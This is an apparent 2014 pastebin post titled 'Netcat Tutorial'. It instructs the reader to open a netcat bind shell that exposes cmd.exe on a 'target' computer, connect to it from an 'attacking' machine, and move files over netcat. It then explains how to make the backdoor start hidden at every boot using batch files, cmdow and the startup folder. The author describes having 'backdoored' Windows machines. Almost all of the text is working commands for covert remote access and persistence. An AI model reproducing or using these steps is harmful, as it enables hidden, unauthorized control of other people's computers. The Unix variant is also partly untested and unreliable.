Netcat Tutorial


SUBMITTED BY: Guest

DATE: Feb. 4, 2014, 3:20 a.m.

FORMAT: Text only

SIZE: 2.4 kB

HITS: 668

  1. Setting up and Connecting to a "target" comptuer
  2. First off make sure you have netcat installed on your "attacking" computer and your "target" computer. It does not matter if the computer is running unix or windows.
  3. To be able to connect to this "target" you must first start netcat on the "target" computer so your "attacking" computer can connect.
  4. Windows: Open up a command prompt and make sure you are in the same directory as nc.exe (netcat). Then type "nc -L -p 10002 -d -e cmd.exe"
  5. This will open up a port on 10002 for you to connect to on your "attacking" computer, and when you connect you will be at the "target" computer's command prompt. To connect to the "target" computer open up a command prompt and type "nc 192.168.1.1 10002", this will connect you to your "target's" computer.
  6. (I have not tested this on linux, I have only backdoored windows so I am not positive these commands work properly"
  7. Unix: Open up a konsole. Then type "netcat -L -p 10002 -d -e konsole"
  8. This will open up a port on 10002 for you to connect to on your "attacking" computer, and when you connect you will be at the "target" computer's command prompt. To connect to the "target" computer open up a command prompt and type "netcat 192.168.1.1 10002", this will connect you to your "target's" computer.
  9. -L Tells netcat to not close and wait for a connection
  10. -p Tells netcat which port to listen on
  11. -d Tells netcat to detach from the process we want it to run
  12. -e Tells netcat which program to run after the port is connected
  13. Transferring files through netcat
  14. To send a file through net cat enter the command "start nc.exe -l -p 1234 >file.txt" after you have connected to a windows machine. The -p 1234 is the port netcat listens on, >file.txt is the file to be recieved through netcat.
  15. Enter this in a konsole on the "attacking" computer "netcat 192.168.1.1 1234 <file.txt".
  16. Running netcat on startup hidden
  17. Make a batch file with the command "nc -L -p 10002 -d -e cmd.exe" in it. Name this file start.bat and place it the root of your C drive. Download the program cmdow.exe. Make a batch file and name it hide.bat. Inside the file type "cmdow /RUN /HID C:\start.bat". Place this file inside the startup folder.
  18. Now everytime the computer boots netcat will start hidden.

comments powered by Disqus